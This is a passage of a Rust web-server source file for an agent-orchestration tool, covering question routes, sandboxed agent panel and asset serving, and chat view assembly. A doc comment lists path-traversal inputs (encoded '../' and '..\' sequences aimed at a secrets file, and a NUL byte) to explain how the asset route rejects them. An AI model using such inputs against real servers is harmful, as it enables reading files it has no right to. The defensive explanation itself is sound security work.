8147        // `Question::answer` owns the rules - an unoffered choice, free text on
8148        // a multiple-choice question, an empty reply - so the route does not
8149        // restate them and cannot drift from the CLI's behaviour.
8150        let cfg = deputy_config(&ui.repo);
8151        let (q, ()) = ui
8152            .questions
8153            .update(&q.id, |r| {
8154                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8155                // Buttons retain their displayed chat/head binding. A direct
8156                // decision does not require a button or a prior persona offer.
8157                if r.routed_task.is_some()
8158                    && r.merge_target.is_some()
8159                    && merge
8160                    && (body.talk.is_some() || body.head.is_some())
8161                {
8162                    let talk_id = body
8163                        .talk
8164                        .as_deref()
8165                        .context("approval button requires its chat")?;
8166                    let head = body
8167                        .head
8168                        .as_deref()
8169                        .context("approval button requires the displayed head")?;
8170                    let talk = ui.talks.get(talk_id)?;
8171                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8172                    r.answer_chat_button(answer, talk_id, head)
8173                } else {
8174                    r.answer(answer)
8175                }
8176            })
8177            .map_err(ApiError::bad_request_from)?;
8178        let (tasks, talks, watches) =
8179            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8180        Ok(Json(
8181            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8182        ))
8183    })
8184    .await
8185}
8186
8187/// A dedicated status avoids the client's settled-question 409 handling.
8188fn question_text_error(e: anyhow::Error) -> ApiError {
8189    let reason = e
8190        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8191        .map(|e| e.reason);
8192    let error = ApiError::bad_request_from(e);
8193    if let Some(reason) = reason {
8194        ApiError {
8195            text_reason: Some(reason),
8196            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8197        }
8198    } else {
8199        error
8200    }
8201}
8202
8203/// The body of `POST /api/questions/{id}/say`.
8204#[derive(Debug, Deserialize)]
8205#[serde(deny_unknown_fields)]
8206struct NewSay {
8207    body: String,
8208}
8209
8210/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8211///
8212/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8213/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8214/// file, so there is no turn to serialize against and no
8215/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8216/// is a *different* process - the run parked behind `magi ask` - and picks
8217/// the reply up on its own poll of the very same file, same as an answer
8218/// does.
8219async fn question_say(
8220    State(ui): State<Arc<Ui>>,
8221    Path(id): Path<String>,
8222    body: std::result::Result<Json<NewSay>, JsonRejection>,
8223) -> ApiResult<Json<QuestionView>> {
8224    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8225    blocking(move || {
8226        let id = resolve_question(&ui.questions, &id)?;
8227        let q = ui
8228            .questions
8229            .get(&id)
8230            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8231        if !q.status.open() {
8232            // Same granularity as `question_answer`: answered or abandoned in
8233            // between the list and the tap is not this route's error to
8234            // explain any differently.
8235            return Err(ApiError::conflict(format!(
8236                "question {} is already {}",
8237                q.short(),
8238                q.status.as_str()
8239            )));
8240        }
8241        // `Question::say` owns the one rule that matters here - an empty
8242        // message tells the agent nothing - so the route does not restate it.
8243        let cfg = deputy_config(&ui.repo);
8244        let (q, ()) = ui
8245            .questions
8246            .update(&q.id, |r| {
8247                if body.body.trim().is_empty() {
8248                    return r.say(body.body);
8249                }
8250                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8251                r.say(body.body)
8252            })
8253            .map_err(question_text_error)?;
8254        let (tasks, talks, watches) =
8255            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8256        Ok(Json(
8257            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8258        ))
8259    })
8260    .await
8261}
8262
8263/// A disconnected request or a replacing listener cannot interrupt the short
8264/// transaction between persistence and detached worker publication.
8265async fn admitted<T: Send + 'static>(
8266    admission: AdmissionGuard,
8267    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8268) -> ApiResult<T> {
8269    tokio::spawn(async move {
8270        let result = work.await;
8271        drop(admission);
8272        result
8273    })
8274    .await
8275    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8276}
8277
8278/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8279/// came from. The question stays open: the chat agent answers it with `magi
8280/// answer`, or puts the decision to the owner in the conversation.
8281///
8282/// Answers 202 and runs the turn in the background, like every route that
8283/// spends agent calls. The text is queued as a draft of the existing talk, and
8284/// the turn goes through the talk's own gate and session; no seat or waiter is
8285/// started here.
8286async fn question_consult(
8287    State(ui): State<Arc<Ui>>,
8288    Path(id): Path<String>,
8289) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8290    let admission = ui.begin_admission()?;
8291    admitted(admission, async move {
8292        let (q, tasks, talks, watches, talk, cfg) = blocking({
8293            let ui = Arc::clone(&ui);
8294            move || {
8295                let id = resolve_question(&ui.questions, &id)?;
8296                let q = ui.questions.get(&id).map_err(|e| {
8297                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8298                })?;
8299                if !q.status.open() {
8300                    return Err(ApiError::conflict(format!(
8301                        "question {} is already {}",
8302                        q.short(),
8303                        q.status.as_str()
8304                    )));
8305                }
8306                let (tasks, talks, watches) =
8307                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8308                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8309                    return Err(ApiError::conflict(format!(
8310                        "question {} has no chat to ask",
8311                        q.short()
8312                    )));
8313                };
8314                // Read the config before `begin` saves anything: a failure here
8315                // must leave no consult record or draft behind, or a retry would
8316                // see `fresh == false` and never start the turn.
8317                let cfg = if q.consult.is_none() {
8318                    Some(Config::discover(&talk.repo, None)?.0)
8319                } else {
8320                    None
8321                };
8322                Ok((q, tasks, talks, watches, talk, cfg))
8323            }
8324        })
8325        .await?;
8326        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8327            .await
8328            .map_err(ApiError::from)?;
8329        let (view, reclaimed, submitted) = blocking({
8330            let ui = Arc::clone(&ui);
8331            move || {
8332                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8333                let claim = if fresh {
8334                    match ui.begin_queued_talk_turn(&talk.id)? {
8335                        Some(turn_guard) => {
8336                            let talk = ui.talks.get(&talk.id)?;
8337                            let cfg = match cfg {
8338                                Some(cfg) => cfg,
8339                                None => Config::discover(&talk.repo, None)?.0,
8340                            };
8341                            Some((talk, cfg, turn_guard))
8342                        }
8343                        None => None,
8344                    }
8345                } else {
8346                    None
8347                };
8348                let q = ui.questions.get(&q.id)?;
8349                let cfg = deputy_config(&ui.repo);
8350                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8351                    .with_origin(&tasks, &talks, &watches);
8352                Ok((view, claim, fresh.then_some(talk.id)))
8353            }
8354        })
8355        .await?;
8356        #[cfg(not(test))]
8357        {
8358            if let Some(id) = submitted {
8359                crate::consult::spawn_turn(&ui.talks, &id)
8360                    .await
8361                    .map_err(ApiError::from)?;
8362            }
8363            drop(reclaimed);
8364        }
8365        #[cfg(test)]
8366        let _ = submitted;
8367        #[cfg(test)]
8368        if let Some((talk, cfg, turn_guard)) = reclaimed {
8369            let talks = ui.talks.clone();
8370            let id = talk.id.clone();
8371            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8372        }
8373        Ok((StatusCode::ACCEPTED, Json(view)))
8374    })
8375    .await
8376}
8377
8378/// Expand an id or short id to exactly one question id.
8379fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8380    if plain_record_id(id) && store.path_of(id).is_file() {
8381        return Ok(id.to_owned());
8382    }
8383    pick(
8384        store.list().into_iter().map(|q| q.id).collect(),
8385        id,
8386        "question",
8387    )
8388}
8389
8390/// `GET /api/questions/{id}/panel`.
8391///
8392/// The panel an agent wrote for this question, as `text/html` under
8393/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8394/// A question without one is a 404 rather than an empty page: the client
8395/// preflights this route with `HEAD` and must be able to tell "no panel" from
8396/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8397/// parent document so it cannot tell the difference by looking.
8398///
8399/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8400/// sanitises or minifies it - a sanitiser is a list of things someone thought
8401/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8402/// is the direction that stays safe when an agent writes markup nobody
8403/// predicted.
8404async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8405    blocking(move || {
8406        let id = resolve_question(&ui.questions, &id)?;
8407        let Some(html) = ui.questions.panel_html(&id) else {
8408            return Err(ApiError::not_found(format!("question {id} has no panel")));
8409        };
8410        Ok(panel_response(
8411            "text/html; charset=utf-8",
8412            false,
8413            html.into_bytes(),
8414        ))
8415    })
8416    .await
8417}
8418
8419/// `GET /api/questions/{id}/asset/{name}`.
8420///
8421/// One file from the question's own panel directory, so a panel can show a
8422/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8423/// having to allow anything off this machine.
8424///
8425/// This is the only route in the server where a client names a file, so it is
8426/// the only one with a traversal surface, and the name is checked by
8427/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8428/// what is worth being explicit about, because the answer is not "all of it in
8429/// one place":
8430///
8431/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8432///   the raw request path and `{name}` spans exactly one segment, so a real
8433///   slash makes the request too long for the route and the router answers 404.
8434/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8435///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8436///   `..\secrets` respectively, which look like plain filenames to the router.
8437///   The validator refuses them here - both for the literal `..` and because
8438///   `/` and `\` are not in the permitted character set - and answers 400.
8439/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8440///   the platform's path API is not, and it is refused here for the same
8441///   reason: NUL is not a permitted character.
8442/// * [`Questions::panel_asset`] validates again on read, so the check is not
8443///   load-bearing in only one place. This route's own check exists so the
8444///   failure is a 400 that says which name was wrong, rather than a store error
8445///   the operator has to interpret.
8446async fn question_asset(
8447    State(ui): State<Arc<Ui>>,
8448    Path((id, name)): Path<(String, String)>,
8449) -> ApiResult<Response> {
8450    // Before any filesystem work and before any path is built: a name this
8451    // server will not serve should not become a `PathBuf` at all.
8452    if !crate::ask::valid_asset_name(&name) {
8453        return Err(ApiError::bad_request(format!(
8454            "`{name}` is not a usable asset name"
8455        )));
8456    }
8457    blocking(move || {
8458        let id = resolve_question(&ui.questions, &id)?;
8459        let asset = ui
8460            .questions
8461            .panel_asset(&id, &name)
8462            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8463        let Some(bytes) = asset else {
8464            return Err(ApiError::not_found(format!(
8465                "question {id} has no asset `{name}`"
8466            )));
8467        };
8468        Ok(panel_response(
8469            asset_content_type(&name),
8470            is_svg(&name),
8471            bytes,
8472        ))
8473    })
8474    .await
8475}
8476
8477/// Content type for a panel asset, from a closed whitelist.
8478///
8479/// A whitelist with an `application/octet-stream` fallback rather than a
8480/// guess, because the one answer that must never come out of here is
8481/// `text/html`. An agent that writes `notes.html` into its panel directory and
8482/// links it would otherwise get its own markup rendered at the top level of the
8483/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8484/// magi's origin - which is precisely the thing the panel design exists to
8485/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8486///
8487/// `nosniff` accompanies this on every response, so a browser cannot decide it
8488/// knows better than the type we sent.
8489fn asset_content_type(name: &str) -> &'static str {
8490    match extension(name).as_deref() {
8491        Some("png") => "image/png",
8492        Some("jpg" | "jpeg") => "image/jpeg",
8493        Some("gif") => "image/gif",
8494        Some("webp") => "image/webp",
8495        Some("svg") => "image/svg+xml",
8496        Some("css") => "text/css; charset=utf-8",
8497        Some("txt") => "text/plain; charset=utf-8",
8498        _ => "application/octet-stream",
8499    }
8500}
8501
8502/// Is this an SVG, and therefore a file that must never be opened at the top
8503/// level?
8504fn is_svg(name: &str) -> bool {
8505    extension(name).as_deref() == Some("svg")
8506}
8507
8508/// Lowercased extension, or `None` for a name without one.
8509fn extension(name: &str) -> Option<String> {
8510    name.rsplit_once('.')
8511        .map(|(_, ext)| ext.to_ascii_lowercase())
8512}
8513
8514/// Every panel response, with the four headers that make it safe and, for an
8515/// SVG, a fifth.
8516///
8517/// One function rather than a header list per handler, because a panel route
8518/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8519/// model gone, silently, on one of two routes. Adding a third panel route later
8520/// means calling this, and there is nowhere else to build a panel response.
8521///
8522/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8523/// as an `<img src>` inside the panel that script cannot run - but the asset
8524/// URL is also a plain URL an operator can be talked into opening in a tab,
8525/// where it is a document on magi's own origin. `Content-Disposition:
8526/// attachment` makes the browser download it instead of rendering it, which
8527/// closes that door without taking away the ability to draw a diff. Raster
8528/// images have no such execution surface and are left inline, so tapping a
8529/// screenshot still shows it.
8530fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8531    let mut res = (
8532        [
8533            (header::CONTENT_TYPE, content_type),
8534            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8535            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8536            (header::REFERRER_POLICY, "no-referrer"),
8537        ],
8538        body,
8539    )
8540        .into_response();
8541    if download {
8542        res.headers_mut().insert(
8543            header::CONTENT_DISPOSITION,
8544            HeaderValue::from_static("attachment"),
8545        );
8546    }
8547    res
8548}
8549
8550/// A talk as the phone reads it.
8551///
8552/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8553/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8554/// parses markdown itself - and the process-local `thinking` hint.
8555#[derive(Debug, Serialize)]
8556struct ChatApproval {
8557    question: String,
8558    target: crate::merge_decision::Target,
8559}
8560
8561#[derive(Debug, Serialize)]
8562struct TalkView {
8563    #[serde(flatten)]
8564    talk: Talk,
8565    turn_bodies_md: Vec<Vec<md::Node>>,
8566    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8567    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8568    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8569    merge_approvals: Vec<ChatApproval>,
8570    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8571    /// this server process.
8572    ///
8573    /// This is deliberately not durable: another server process cannot see
8574    /// it, and a restarted server must not claim an old turn is live. It is a
8575    /// progress hint rather than proof a reply landed; the transcript remains
8576    /// the source of truth for that.
8577    thinking: bool,
8578    /// Context-window usage, derived per request - see
8579    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8580    /// and each mutation) so the phone needs no extra call or polling.
8581    context: talk::ContextUsage,
8582    /// `[talk] operator_name`, when configured; the Chat labels the
8583    /// operator's turns with it.
8584    operator_name: Option<String>,
8585    /// The active persona's display name; `None` for the default voice.
8586    persona_name: Option<String>,
8587    /// URL of the avatar for the conversation's persona (the default voice
8588    /// included). Server-built; a configured `icon` never reaches the client.
8589    persona_avatar: String,
8590    /// Operator avatar; display only and independent of repository config.
8591    operator_avatar: String,
8592    magi_avatar: String,
8593}
8594
8595impl TalkView {
8596    /// Reads the talk's repository config itself; a config that cannot be
8597    /// read leaves the window unknown but never fails the conversation.
8598    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8599        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8600        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8601    }
8602
8603    /// As [`Self::new`], with the config already in hand (the list reads one
8604    /// per repository, not one per conversation).
8605    fn with_config(
8606        talk: Talk,
8607        thinking: bool,
8608        cfg: Option<&Config>,
8609        home: &FsPath,
8610        cache: &id_links::IndexCache,
8611    ) -> Self {
8612        let references = cache.for_talk(home, &talk);
8613        Self::with_references(talk, thinking, cfg, home, &references)
8614    }
8615
8616    fn with_references(
8617        mut talk: Talk,
8618        thinking: bool,
8619        cfg: Option<&Config>,
8620        home: &FsPath,
8621        references: &id_links::IdIndex,
8622    ) -> Self {
8623        // This owned value is the display DTO; never write it back to the talk store.
8624        let snapshot = talk.clone();
8625        for (index, turn) in talk.turns.iter_mut().enumerate() {
8626            let original = &snapshot.turns[index];
8627            if turn.messages.is_empty() {
8628                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8629                    turn.messages.push(talk::Message {
8630                        sender: Some(talk::Sender::Magi),
8631                        body: original.body.clone(),
8632                        display: Some(display),
8633                        attachments: original.attachments.clone(),
8634                        reply: None,
8635                    });
8636                }
8637            } else {
8638                for (i, message) in turn.messages.iter_mut().enumerate() {
8639                    message.display =
8640                        talk::notice_display(&snapshot, original, original.messages.get(i));
8641                    if message.display.is_some() {
8642                        message.sender = Some(talk::Sender::Magi);
8643                    }
8644                }
8645            }
8646        }
8647        for message in &mut talk.pending_messages {
8648            if message.display.is_none()
8649                && (message.sender == Some(talk::Sender::Magi)
8650                    || snapshot
8651                        .completion_notices
8652                        .iter()
8653                        .any(|r| r.notice == message.body))
8654            {
8655                message.display = crate::prompt::legacy_notice_display(&message.body);
8656                if message.display.is_some() {
8657                    message.sender = Some(talk::Sender::Magi);
8658                }
8659            }
8660        }
8661        if talk.pending_messages.is_empty()
8662            && snapshot
8663                .completion_notices
8664                .iter()
8665                .any(|r| r.notice == talk.pending)
8666            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8667        {
8668            talk.pending_messages.push(talk::Message {
8669                sender: Some(talk::Sender::Magi),
8670                display: Some(display),
8671                body: talk.pending.clone(),
8672                attachments: talk.pending_attachments.clone(),
8673                reply: None,
8674            });
8675        }
8676        let excerpts: Vec<Vec<Option<String>>> = talk
8677            .turns
8678            .iter()
8679            .map(|turn| {
8680                turn.messages
8681                    .iter()
8682                    .map(|m| {
8683                        m.display
8684                            .as_ref()
8685                            .map(|d| d.facts.chars().take(240).collect())
8686                    })
8687                    .collect()
8688            })
8689            .collect();
8690        for turn in &mut talk.turns {
8691            let provenance = talk::sender(turn, None);
8692            turn.sender = Some(provenance);
8693            for message in &mut turn.messages {
8694                message.sender = Some(message.sender.unwrap_or(provenance));
8695            }
8696        }
8697        // Old reply snapshots have only a role; recover provenance from their target.
8698        let senders: Vec<Vec<talk::Sender>> = talk
8699            .turns
8700            .iter()
8701            .map(|turn| {
8702                if turn.messages.is_empty() {
8703                    vec![talk::sender(turn, None)]
8704                } else {
8705                    turn.messages
8706                        .iter()
8707                        .map(|m| talk::sender(turn, Some(m)))
8708                        .collect()
8709                }
8710            })
8711            .collect();
8712        for reply in talk
8713            .turns
8714            .iter_mut()
8715            .flat_map(|t| t.messages.iter_mut())
8716            .chain(talk.pending_messages.iter_mut())
8717            .filter_map(|m| m.reply.as_mut())
8718        {
8719            if let Some(Some(excerpt)) = excerpts
8720                .get(reply.target.turn)
8721                .and_then(|ms| ms.get(reply.target.message))
8722            {
8723                reply.excerpt = excerpt.clone();
8724                reply.sender = Some(talk::Sender::Magi);
8725            }
8726            if reply.sender.is_none() {
8727                reply.sender = senders
8728                    .get(reply.target.turn)
8729                    .and_then(|messages| messages.get(reply.target.message))
8730                    .copied();
8731            }
8732        }
8733        let context = talk::context_usage(&talk, cfg);
8734        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8735            .turns
8736            .iter()
8737            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8738            .collect();
8739        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8740            .turns
8741            .iter()
8742            .map(|turn| {
8743                if turn.messages.is_empty() {
8744                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8745                } else {
8746                    turn.messages
8747                        .iter()
8748                        .map(|message| {
8749                            notice_markdown(
8750                                message.sender.unwrap_or(talk::Sender::Operator),
8751                                &message.body,
8752                                message.display.as_ref(),
8753                            )
8754                        })
8755                        .collect()
8756                }
8757            })
8758            .collect();
8759        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8760            .pending_messages
8761            .iter()
8762            .map(|message| {
8763                notice_markdown(
8764                    message.sender.unwrap_or(talk::Sender::Operator),
8765                    &message.body,
8766                    message.display.as_ref(),
8767                )
8768            })
8769            .collect();
8770        for nodes in &mut turn_bodies_md {
8771            references.markdown(nodes);
8772        }
8773        for nodes in turn_messages_md
8774            .iter_mut()
8775            .flatten()
8776            .chain(pending_messages_md.iter_mut())
8777            .flatten()
8778        {
8779            references.markdown(nodes);
8780        }
8781        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8782        let persona_name = persona::find(specs, &talk.persona)
8783            .filter(|p| !p.is_default())
8784            .map(|p| p.name);
8785        let mut avatar_persona = persona::find(specs, &talk.persona)
8786            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8787        // A removed configured persona may still have an override and old talks.
8788        if avatar_persona.id != talk.persona
8789            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8790        {
8791            avatar_persona.id.clone_from(&talk.persona);
8792            avatar_persona.icon = None;
8793        }
8794        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8795        let approvals_store = ask::Questions::at(home.join("questions"));
8796        let merge_approvals = talk
8797            .notified
8798            .iter()
8799            .filter_map(|key| key.strip_prefix("question:"))
8800            .filter_map(|id| approvals_store.get(id).ok())
8801            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8802            .filter_map(|q| {
8803                Some(ChatApproval {
8804                    question: q.id,
8805                    target: q.merge_target?,
8806                })
8807            })
8808            .collect();
8809        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8810        Self {
8811            turn_bodies_md,
8812            turn_messages_md,
8813            pending_messages_md,
8814            merge_approvals,
8815            thinking,
8816            context,
8817            operator_name,
8818            persona_name,
8819            persona_avatar,
8820            magi_avatar: magi_icon_url(home),
8821            operator_avatar: operator_icon_url(home),
8822            talk,
8823        }
8824    }
8825}
8826
8827/// Parse only the user-facing representation of an explicitly identified MAGI send.
8828fn notice_markdown(
8829    sender: talk::Sender,
8830    body: &str,
8831    display: Option<&crate::prompt::NoticeDisplay>,
8832) -> Option<Vec<md::Node>> {
8833    if sender != talk::Sender::Magi {
8834        return None;
8835    }
8836    let text = if let Some(display) = display {
8837        display.facts.as_str()
8838    } else {
8839        // Unknown completion templates may contain internal directives. Never
8840        // promote their agent input to the Markdown display surface.
8841        if crate::prompt::is_completion_notice(body)
8842            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8843        {
8844            return None;
8845        }
8846        body.strip_prefix("magi: ").unwrap_or(body)
8847    };
8848    Some(md::to_nodes(text, &md::ImageBase::None))
8849}
8850
8851/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8852/// conversation has filed, so the phone can follow one from inside the
8853/// conversation that asked for it rather than hunting the Queue for a task id
8854/// it may not remember.
8855#[derive(Debug, Serialize)]
8856struct TalkDetailView {
8857    #[serde(flatten)]
8858    view: TalkView,
8859    tasks: Vec<TaskView>,
8860    task_progress: TalkTaskProgress,
8861    /// The agents this talk's repository can switch to; empty when its
8862    /// configuration cannot be read, which must not fail the whole detail.
8863    roster: Vec<RosterEntry>,
8864    /// The personas the conversation can pick from. The built-ins are always
8865    /// listed, even when the repository's configuration cannot be read.
8866    personas: Vec<PersonaEntry>,
8867}
8868
8869/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8870#[derive(Debug, Serialize)]
8871struct TalkTaskProgress {
8872    state: &'static str,
8873    total: usize,
8874    done: usize,
8875    counts: std::collections::BTreeMap<&'static str, usize>,
8876    unfinished_ids: Vec<String>,
8877}
8878
8879fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8880    let mut counts = std::collections::BTreeMap::from([
8881        ("queued", 0),
8882        ("running", 0),
8883        ("done", 0),
8884        ("failed", 0),
8885        ("held", 0),
8886        ("blocked", 0),
8887        ("parked", 0),
8888    ]);
8889    let mut unfinished_ids = Vec::new();
8890    for task in tasks {
8891        *counts.entry(task.status.as_str()).or_default() += 1;
8892        if task.status != TaskStatus::Done {
8893            unfinished_ids.push(task.id.clone());
8894        }
8895    }
8896    TalkTaskProgress {
8897        state: if tasks.is_empty() {
8898            "none"
8899        } else if unfinished_ids.is_empty() {
8900            "complete"
8901        } else {
8902            "incomplete"
8903        },
8904        total: tasks.len(),
8905        done: tasks.len() - unfinished_ids.len(),
8906        counts,
8907        unfinished_ids,
8908    }
8909}
8910
8911/// One persona as the talk's persona selector shows it.
8912#[derive(Debug, Serialize)]
8913struct PersonaEntry {
8914    id: String,
8915    name: String,
8916    /// Avatar URL, see [`TalkView::persona_avatar`].
8917    avatar: String,
8918}
8919
8920/// One roster agent as the talk's agent selector shows it.
8921#[derive(Debug, Serialize)]
8922struct RosterEntry {
8923    id: String,
8924    kind: AgentKind,
8925    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8926    runnable: bool,
8927}
8928
8929/// Bounded summaries; `/page` carries a cursor for older membership.
8930async fn talks_list(
8931    State(ui): State<Arc<Ui>>,
8932    Query(q): Query<ListQuery>,
8933    headers: header::HeaderMap,
8934) -> ApiResult<Json<Vec<TalkListView>>> {
8935    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8936        let limit = q.limit.unwrap_or(50).min(50);
8937        let ids = if let Some(ids) = q.ids {
8938            ids.split(',')
8939                .filter(|id| plain_record_id(id))
8940                .take(limit)
8941                .map(str::to_owned)
8942                .collect()
8943        } else {
8944            page_ids(&ui, true, PageQuery::default())?
8945                .0
8946                .into_iter()
8947                .take(limit.min(STORE_PAGE_SIZE))
8948                .collect()
8949        };
8950        Ok(Json(talk_rows(&ui, ids, &headers)))
8951    })
8952    .await
8953}
8954
8955/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8956/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8957/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8958/// end still opens a talk against an older binary.
8959#[derive(Debug, Default, Deserialize)]
8960#[serde(default)]
8961struct NewTalk {
8962    agent: Option<String>,
8963    repo: Option<PathBuf>,
8964    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8965    /// wrong type is dropped like a stale value instead of failing the request;
8966    /// each falls back to its default on its own (see [`talk::begin_with`]).
8967    preferred_agent: Option<serde_json::Value>,
8968    persona: Option<serde_json::Value>,
8969    implementers: Option<serde_json::Value>,
8970}
8971
8972/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8973/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8974async fn talk_post(
8975    State(ui): State<Arc<Ui>>,
8976    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8977) -> ApiResult<impl IntoResponse> {
8978    // An absent body, or an empty one, is the normal way to open a talk - see
8979    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8980    // rather than refused.
8981    let body = match body {
8982        Ok(Json(body)) => body,
8983        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8984        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8985    };
8986    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8987    let cfg = config_for(&repo).await?;
8988    let view = blocking(move || {
8989        let preferred = talk::Preferred {
8990            agent: body
8991                .preferred_agent
8992                .as_ref()
8993                .and_then(|v| v.as_str())
8994                .map(str::to_owned),
8995            persona: body
8996                .persona
8997                .as_ref()
8998                .and_then(|v| v.as_str())
8999                .map(str::to_owned),
9000            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9001        };
9002        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9003        let thinking = ui.is_thinking(&talk.id);
9004        Ok(TalkView::new(talk, thinking, &ui))
9005    })
9006    .await?;
9007    Ok((StatusCode::CREATED, Json(view)))
9008}
9009
9010/// Transcript first: unrelated queue history and repository probes are deferred.
9011async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9012    // Keep transcript reads independent of sections and the runtime blocking pool.
9013    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9014        let id = resolve_talk(&ui.talks, &id)?;
9015        let talk = ui.talks.get(&id)?;
9016        let thinking = ui.is_thinking_observed(&id);
9017        // The browser already resolves Markdown text/code references after
9018        // rendering. A cold reference/review index must not gate the transcript.
9019        Ok(Json(TalkView::with_references(
9020            talk,
9021            thinking,
9022            None,
9023            &ui.home,
9024            &id_links::IdIndex::default(),
9025        )))
9026    })
9027    .await
9028}
9029
9030async fn talk_sections(
9031    State(ui): State<Arc<Ui>>,
9032    Path(id): Path<String>,
9033) -> ApiResult<Json<serde_json::Value>> {
9034    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9035        let id = resolve_talk(&ui.talks, &id)?;
9036        let talk = ui.talks.get(&id)?;
9037        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9038        let task_progress = talk_task_progress(&tasks);
9039        let tasks: Vec<_> = tasks
9040            .into_iter()
9041            .map(|task| {
9042                serde_json::json!({
9043                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9044                })
9045            })
9046            .collect();
9047        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9048        let roster: Vec<_> = cfg
9049            .as_ref()
9050            .map(|cfg| {
9051                cfg.agents
9052                    .iter()
9053                    .map(|a| RosterEntry {
9054                        id: a.id.clone(),
